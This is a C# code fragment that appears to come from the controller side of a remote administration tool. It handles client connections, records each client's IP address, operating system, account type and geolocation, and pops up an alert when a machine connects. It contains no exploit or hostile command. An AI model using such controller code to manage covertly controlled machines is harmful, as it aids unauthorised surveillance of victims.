public static void HandleUserStatus(Client client, Core.Packets.ClientPackets.UserStatus packet, frmMain mainForm) { new Thread(new ThreadStart(() => { foreach (ListViewItem lvi in mainForm.lstClients.Items) { Client c = (Client)lvi.Tag; if (client == c) { mainForm.Invoke((MethodInvoker)delegate { lvi.SubItems[4].Text = packet.Message; }); break; } } })).Start(); }
private static void ShowPopup(Client c, frmMain mainForm) { mainForm.nIcon.ShowBalloonTip(30, string.Format("Client connected from {0}!", c.Value.Country), string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(), c.Value.OperatingSystem), ToolTipIcon.Info); }
public static void HandleInitialize(Client client, Core.Packets.ClientPackets.Initialize packet, frmMain mainForm) { if (client.EndPoint.Address.ToString() == "255.255.255.255") return; mainForm.listenServer.ConnectedClients++; mainForm.listenServer.AllTimeConnectedClients++; mainForm.updateWindowTitle(mainForm.listenServer.ConnectedClients, mainForm.lstClients.SelectedItems.Count); new Thread(new ThreadStart(() => { try { client.Value.Version = packet.Version; client.Value.OperatingSystem = packet.OperatingSystem; client.Value.AccountType = packet.AccountType; client.Value.Country = packet.Country; client.Value.CountryCode = packet.CountryCode; client.Value.Region = packet.Region; client.Value.City = packet.City; string country = string.Format("{0} [{1}]", client.Value.Country, client.Value.CountryCode); // this " " leaves some space between the flag-icon and the IP ListViewItem lvi = new ListViewItem(new string[] { " " + client.EndPoint.Address.ToString(), client.EndPoint.Port.ToString(), client.Value.Version, "Connected", "Active", country, client.Value.OperatingSystem, client.Value.AccountType }); lvi.Tag = client; lvi.ImageIndex = packet.ImageIndex; mainForm.Invoke((MethodInvoker)delegate { mainForm.lstClients.Items.Add(lvi); }); if (XMLSettings.ShowPopup) ShowPopup(client, mainForm); client.Value.isAuthenticated = true; } catch { } })).Start(); }